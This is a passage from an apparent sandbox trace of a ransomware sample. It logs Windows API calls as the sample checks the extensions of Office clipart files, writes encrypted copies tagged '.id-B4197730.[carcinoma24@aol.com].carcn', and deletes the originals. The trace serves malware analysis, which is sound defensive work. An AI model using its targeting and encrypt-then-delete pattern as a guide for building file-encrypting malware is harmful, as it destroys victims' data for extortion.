(hFile=0x370) returned 1 [0299.494] CloseHandle (hObject=0x370) returned 1 [0299.494] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.494] SetEndOfFile (hFile=0x394) returned 1 [0299.495] CloseHandle (hObject=0x394) returned 1 [0299.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0299.495] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf")) returned 1 [0299.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0299.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0299.496] lstrlenW (lpString=".doc") returned 4 [0299.496] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.496] lstrlenW (lpString=".docx") returned 5 [0299.496] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.496] lstrlenW (lpString=".pdf") returned 4 [0299.496] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.496] lstrlenW (lpString=".xls") returned 4 [0299.496] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.496] lstrlenW (lpString=".xlsx") returned 5 [0299.496] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.496] lstrlenW (lpString=".ppt") returned 4 [0299.496] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0299.496] lstrlenW (lpString=".zip") returned 4 [0299.497] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.497] lstrlenW (lpString=".rar") returned 4 [0299.497] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.497] lstrlenW (lpString=".bz2") returned 4 [0299.497] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.497] lstrlenW (lpString=".7z") returned 3 [0299.497] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0299.497] lstrlenW (lpString=".dbf") returned 4 [0299.497] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0299.497] lstrlenW (lpString=".1cd") returned 4 [0299.497] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0299.497] lstrlenW (lpString=".jpg") returned 4 [0299.497] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0299.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0299.497] lstrlenW (lpString=".doc") returned 4 [0299.497] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.497] lstrlenW (lpString=".docx") returned 5 [0299.497] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.497] lstrlenW (lpString=".pdf") returned 4 [0299.497] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.497] lstrlenW (lpString=".xls") returned 4 [0299.497] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.497] lstrlenW (lpString=".xlsx") returned 5 [0299.498] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.498] lstrlenW (lpString=".ppt") returned 4 [0299.498] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0299.498] lstrlenW (lpString=".zip") returned 4 [0299.498] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.498] lstrlenW (lpString=".rar") returned 4 [0299.498] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.498] lstrlenW (lpString=".bz2") returned 4 [0299.498] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.498] lstrlenW (lpString=".7z") returned 3 [0299.498] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0299.498] lstrlenW (lpString=".dbf") returned 4 [0299.498] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0299.498] lstrlenW (lpString=".1cd") returned 4 [0299.498] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0299.498] lstrlenW (lpString=".jpg") returned 4 [0299.498] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.498] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0299.498] lstrlenW (lpString="CLASSIC1.WMF") returned 12 [0299.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0299.499] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=2422) returned 1 [0299.499] CloseHandle (hObject=0x394) returned 1 [0299.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf")) returned 0x220 [0299.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0299.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0299.499] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.500] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0299.500] GetLastError () returned 0x0 [0299.500] ReadFile (in: hFile=0x394, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x976, lpOverlapped=0x0) returned 1 [0299.501] WriteFile (in: hFile=0x370, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x980, lpOverlapped=0x0) returned 1 [0299.502] ReadFile (in: hFile=0x394, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.502] WriteFile (in: hFile=0x370, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0299.503] SetEndOfFile (hFile=0x370) returned 1 [0299.503] CloseHandle (hObject=0x370) returned 1 [0299.503] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.503] SetEndOfFile (hFile=0x394) returned 1 [0299.504] CloseHandle (hObject=0x394) returned 1 [0299.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0299.504] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf")) returned 1 [0299.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0299.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0299.505] lstrlenW (lpString=".doc") returned 4 [0299.505] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.505] lstrlenW (lpString=".docx") returned 5 [0299.505] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0299.505] lstrlenW (lpString=".pdf") returned 4 [0299.505] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.505] lstrlenW (lpString=".xls") returned 4 [0299.505] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.505] lstrlenW (lpString=".xlsx") returned 5 [0299.505] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0299.505] lstrlenW (lpString=".ppt") returned 4 [0299.505] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0299.505] lstrlenW (lpString=".zip") returned 4 [0299.505] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.505] lstrlenW (lpString=".rar") returned 4 [0299.505] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.505] lstrlenW (lpString=".bz2") returned 4 [0299.505] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.505] lstrlenW (lpString=".7z") returned 3 [0299.505] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0299.505] lstrlenW (lpString=".dbf") returned 4 [0299.505] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0299.506] lstrlenW (lpString=".1cd") returned 4 [0299.506] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0299.506] lstrlenW (lpString=".jpg") returned 4 [0299.506] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0299.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0299.506] lstrlenW (lpString=".doc") returned 4 [0299.506] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.506] lstrlenW (lpString=".docx") returned 5 [0299.506] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0299.506] lstrlenW (lpString=".pdf") returned 4 [0299.506] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.506] lstrlenW (lpString=".xls") returned 4 [0299.506] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.506] lstrlenW (lpString=".xlsx") returned 5 [0299.506] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0299.506] lstrlenW (lpString=".ppt") returned 4 [0299.506] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0299.506] lstrlenW (lpString=".zip") returned 4 [0299.506] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.506] lstrlenW (lpString=".rar") returned 4 [0299.506] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.506] lstrlenW (lpString=".bz2") returned 4 [0299.506] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.506] lstrlenW (lpString=".7z") returned 3 [0299.507] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0299.507] lstrlenW (lpString=".dbf") returned 4 [0299.507] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0299.507] lstrlenW (lpString=".1cd") returned 4 [0299.507] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0299.507] lstrlenW (lpString=".jpg") returned 4 [0299.507] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.507] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0299.507] lstrlenW (lpString="CLASSIC2.WMF") returned 12 [0299.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0299.508] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=2262) returned 1 [0299.508] CloseHandle (hObject=0x394) returned 1 [0299.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf")) returned 0x220 [0299.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0299.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0299.508] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.508] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0299.509] GetLastError () returned 0x0 [0299.509] ReadFile (in: hFile=0x394, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x8d6, lpOverlapped=0x0) returned 1 [0299.510] WriteFile (in: hFile=0x370, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x8e0, lpOverlapped=0x0) returned 1 [0299.511] ReadFile (in: hFile=0x394, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.511] WriteFile (in: hFile=0x370, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0299.511] SetEndOfFile (hFile=0x370) returned 1 [0299.511] CloseHandle (hObject=0x370) returned 1 [0299.512] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.512] SetEndOfFile (hFile=0x394) returned 1 [0299.513] CloseHandle (hObject=0x394) returned 1 [0299.513] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0299.513] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf")) returned 1 [0299.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0299.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0299.513] lstrlenW (lpString=".doc") returned 4 [0299.513] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.514] lstrlenW (lpString=".docx") returned 5 [0299.514] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0299.514] lstrlenW (lpString=".pdf") returned 4 [0299.514] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.514] lstrlenW (lpString=".xls") returned 4 [0299.514] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.514] lstrlenW (lpString=".xlsx") returned 5 [0299.514] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0299.514] lstrlenW (lpString=".ppt") returned 4 [0299.514] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0299.514] lstrlenW (lpString=".zip") returned 4 [0299.514] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.514] lstrlenW (lpString=".rar") returned 4 [0299.514] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.514] lstrlenW (lpString=".bz2") returned 4 [0299.514] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.514] lstrlenW (lpString=".7z") returned 3 [0299.514] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0299.514] lstrlenW (lpString=".dbf") returned 4 [0299.514] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0299.514] lstrlenW (lpString=".1cd") returned 4 [0299.514] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0299.514] lstrlenW (lpString=".jpg") returned 4 [0299.514] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0299.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0299.515] lstrlenW (lpString=".doc") returned 4 [0299.515] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.515] lstrlenW (lpString=".docx") returned 5 [0299.515] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0299.515] lstrlenW (lpString=".pdf") returned 4 [0299.515] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.515] lstrlenW (lpString=".xls") returned 4 [0299.515] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.515] lstrlenW (lpString=".xlsx") returned 5 [0299.515] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0299.515] lstrlenW (lpString=".ppt") returned 4 [0299.515] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0299.515] lstrlenW (lpString=".zip") returned 4 [0299.515] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.515] lstrlenW (lpString=".rar") returned 4 [0299.515] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.515] lstrlenW (lpString=".bz2") returned 4 [0299.515] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.515] lstrlenW (lpString=".7z") returned 3 [0299.515] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0299.515] lstrlenW (lpString=".dbf") returned 4 [0299.515] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0299.515] lstrlenW (lpString=".1cd") returned 4 [0299.515] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0299.516] lstrlenW (lpString=".jpg") returned 4 [0299.516] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.516] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0299.516] lstrlenW (lpString="CLIP.WMF") returned 8 [0299.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0299.516] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=2262) returned 1 [0299.516] CloseHandle (hObject=0x394) returned 1 [0299.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf")) returned 0x220 [0299.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0299.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0299.517] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.517] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0299.517] GetLastError () returned 0x0 [0299.518] ReadFile (in: hFile=0x394, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x8d6, lpOverlapped=0x0) returned 1 [0299.519] WriteFile (in: hFile=0x370, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x8e0, lpOverlapped=0x0) returned 1 [0299.520] ReadFile (in: hFile=0x394, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.520] WriteFile (in: hFile=0x370, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xe4, lpOverlapped=0x0) returned 1 [0299.520] SetEndOfFile (hFile=0x370) returned 1 [0299.520] CloseHandle (hObject=0x370) returned 1 [0299.520] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.520] SetEndOfFile (hFile=0x394) returned 1 [0299.521] CloseHandle (hObject=0x394) returned 1 [0299.521] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 